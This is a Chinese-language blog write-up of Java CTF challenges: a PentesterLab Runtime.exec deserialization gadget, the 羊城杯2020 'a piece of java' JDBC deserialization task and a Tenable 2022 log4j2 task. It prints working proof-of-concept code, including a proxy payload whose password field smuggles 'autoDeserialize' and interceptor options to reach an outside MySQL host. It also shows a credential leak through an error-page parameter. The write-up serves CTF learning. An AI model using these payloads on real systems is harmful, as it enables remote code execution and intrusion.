Java有关的CTF题目

玩玩

入门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.pentesterlab;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class AnotherClass implements Serializable {

private String command;
public AnotherClass(String command) {
this.command = command;
}

private void readObject(ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(this.command);
}

}

啥意思?

提示说要搞成这样

1
2
3
4
5
6
7
8
[...]
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(bos);
AnotherClass gadget = new AnotherClass("...");
os.writeObject(gadget);
String base64 = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64);
[...]

emm 确实

想要能序列化 必须加上 implements Serializable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.deserealize;
import java.io.*;
import java.util.Base64;

public class AnotherClass implements Serializable {
private String command;
public AnotherClass(String command) {
this.command = command;
}

private void readObject(ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(this.command);
}

public static void main(String[] args) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(bos);
AnotherClass gadget = new AnotherClass("/usr/local/bin/score 4b22ccfb-c879-4d34-9f88-589010c16683");

os.writeObject(gadget);
String base64 = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64);
}
}

本来觉得可以了 结果

java.lang.ClassNotFoundException: com.deserealize.AnotherClass

好像确实 这个 com是多余的,,,

改了下 结果,,,

java.lang.ClassNotFoundException: AnotherClass ,,, 越来越懵逼,,

哦哦 我傻了 应该是 package com.pentesterlab;

结果java.io.InvalidClassException: com.pentesterlab.AnotherClass; local class incompatible: stream classdesc serialVersionUID = -2517111562299239354, local class serialVersionUID = -3732481990140087427

然后去csdn了下 https://blog.csdn.net/qq_44823756/article/details/120912240 加上

public static final long serialVersionUID = -3732481990140087427L;

终于

image-20220922173338999

CTF

羊城杯2020 a piece of java

分析

先来反编译

首先谈谈思路 遇到一个这种乱七八糟的从哪开始看起

image-20230324232804165

一眼扫到有CC3.2.1 先放一放

来看一下pom maven都导入了哪些东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.2.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>gdufs.challenge</groupId>
<artifactId>web</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>challenge</name>
<description>Easy Java Challenge</description>

<properties>
<java.version>1.8</java.version>
</properties>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
</exclusion>
</exclusions>
</dependency>

<dependency>
<groupId>org.nibblesec</groupId>
<artifactId>serialkiller</artifactId>
<version>3.0</version>
</dependency>

<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

</project>

看完以后 我们明白了一些事情

  • java1.8
  • springboot
  • serialkiller ( 是啥暂时还不知道 )

接下来去看看源码 简单扫一眼就应该知道是打反序列化

image-20230325001001983

这里看一下 很容易可以发现 这里反序列化函数调用了 serialkiller 估计是做了某种限制

image-20230325001735726

同时注意到 有个invoke 函数 很可疑

image-20230325001337608

注意

1
public class InfoInvocationHandler implements InvocationHandler, Serializable {}

且有

1
public class DatabaseInfo implements Serializable, Info {}

都继承了 Serializable 并且!!!可能是打JDBC反序列化

image-20230325003744483

sol

重新理一下思路

先是去反序列化 –>

image-20230325010236065

ok 按上面说的 我们最后要用 connect 所以我们要用 checkAllInfo()
image-20230325012229123

如何用调用checkAllInfo() 这时候考虑利用 InfoInvocationHandler

image-20230325012408815

这里能调用 checkAllInfo()

但是method.invoke不能直接反射执行危险函数,这里对this.info做了类型限制,Info类型下并没有危险调用

所以还是要去 打JDBC

(搭建环境可费laozijin了 2333 大致讲一下

  • IDEA创建spring
  • 添加spring,maven支持
  • 导入pom 跑一下maven
  • 将java标记为蓝色的那种资源文件
  • 把反编译出来的文件 cv进去

完了后长这样

image-20230325112750549

构造poc 动态代理可以看这个 https://blog.csdn.net/yaomingyang/article/details/80981004

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package gdufs.challenge.web.controller;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import org.nibblesec.tools.SerialKiller;
import java.io.*;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class TestController {
private static Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));

try {
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
return obj;


} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}


public static void main(String[] args) throws IOException {
//要代理的真实对象
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("122.51.127.173");
databaseInfo.setPort("3306");
databaseInfo.setUsername("b1ue0cean");
databaseInfo.setPassword("666&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
//代理对象的调用处理程序,我们将要代理的真实对象传入代理对象的调用处理的构造函数中,最终代理对象的调用处理程序会调用真实对象的方法
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);

/**
* 通过Proxy类的newProxyInstance方法创建代理对象,我们来看下方法中的参数
* 第一个参数:people.getClass().getClassLoader(),使用handler对象的classloader对象来加载我们的代理对象
* 第二个参数:people.getClass().getInterfaces(),这里为代理类提供的接口是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
* 第三个参数:handler,我们将代理对象关联到上面的InvocationHandler对象上
*/
Info proxy = (Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(),databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = null;
try {
objectOutputStream = new ObjectOutputStream(baos);
} catch (IOException e) {
throw new RuntimeException(e);
}
objectOutputStream.writeObject(proxy);
objectOutputStream.flush();
objectOutputStream.close();
Info info = (Info)deserialize(((new String(Base64.getEncoder().encode(baos.toByteArray())))));
info.getAllInfo();


}
}

不容易搞了好久

image-20230325152929438

当时测试的时候忘了 要调用 getAllInfo 才会触发 invoke 导致卡了很久

总结一下:其实和外面那层没啥关系 主要就是为了动态代理调用invoke –> connnct

终归还是打的JDBC

tenable ctf 2022

知识点log4j2

看了一眼pom 危险危险危险!!!

image-20230331101506024

可以看到有我们最爱的 44228

image-20230331102142260

搭建环境贼简单 跑一下jar就O了

来看看问题所在

我们都知道最后要打log4j2 但是how打

image-20230331102756154

只有这里有用 看一下输入怎么控 要用POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@RequestMapping(
value = {"/dashboard/del"},
method = {RequestMethod.POST}
)
public String dashdel(@RequestParam(name = "orderId",required = true) int orderId, @RequestParam(name = "comment",required = false,defaultValue = "no reason given.") String comment, HttpServletRequest request) {
ArrayList<ForgeRequest> sessOrders = (ArrayList)request.getSession().getAttribute("orders");
if (orderId >= 0) {
sessOrders.remove(orderId);
}

request.getSession().setAttribute("orders", sessOrders);
logger.info("Removing OrderId " + orderId + ", " + comment);
return "redirect:/dashboard";
}

但现在的问题是 这里配置了 @EnableWebSecurity 后 需要登陆 ,不然会直接跳转 /login (根据模糊的印象,这玩意应该是springsecurity自带的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Configuration
@EnableWebSecurity
public class LogForgeSec extends WebSecurityConfigurerAdapter {
@Value("${app.admin}")
public String username;
@Value("${app.password}")
public String password;

public LogForgeSec() {
}

protected void configure(HttpSecurity http) throws Exception {
((HttpSecurity)((HttpSecurity)((FormLoginConfigurer)((FormLoginConfigurer)((FormLoginConfigurer)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/dashboard**"})).authenticated().anyRequest()).permitAll().and()).formLogin().loginPage("/login").permitAll()).defaultSuccessUrl("/dashboard")).failureUrl("/errpg?dbgmsg=err.401")).permitAll()).and()).logout().permitAll().and()).exceptionHandling().accessDeniedPage("/errpg?dbgmsg=err.401");
}

@Bean
public UserDetailsService userDetailsService() {
System.out.println(this.username);
UserDetails user = User.withDefaultPasswordEncoder().username(this.username).password(this.password).roles(new String[]{"USER"}).build();
return new InMemoryUserDetailsManager(new UserDetails[]{user});
}
}

所以现在要想办法登录进去

在看代码的过程中突然看到这样一个点

image-20230331111045995

我们又早早地注意到了

image-20230331111146511

这些玩意应该是写在环境变量里面的 所以是不是能读出来???

看看后端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
@Controller
public class LogForgeErrorController implements ErrorController {
public LogForgeErrorController() {
}

@GetMapping({"/errpg"})
public String handleError(@RequestParam(name = "dbgmsg",required = false) String dbgmsg, HttpServletRequest request, HttpServletResponse httpResponse, Model model) {
Object status = request.getAttribute("javax.servlet.error.status_code");
model.addAttribute("code", status);
model.addAttribute("msg", dbgmsg);
return "errpage";
}
}

也就是说渲染了我们的 dbgmsg 参数, 并拿了环境变量的值

我们试着请求一下 非常nice 直接拿到了 现在我们可以登陆了

image-20230331112051758

这时候 应该就可以调用 del 了

http://www.dnslog.cn/

image-20230331112744994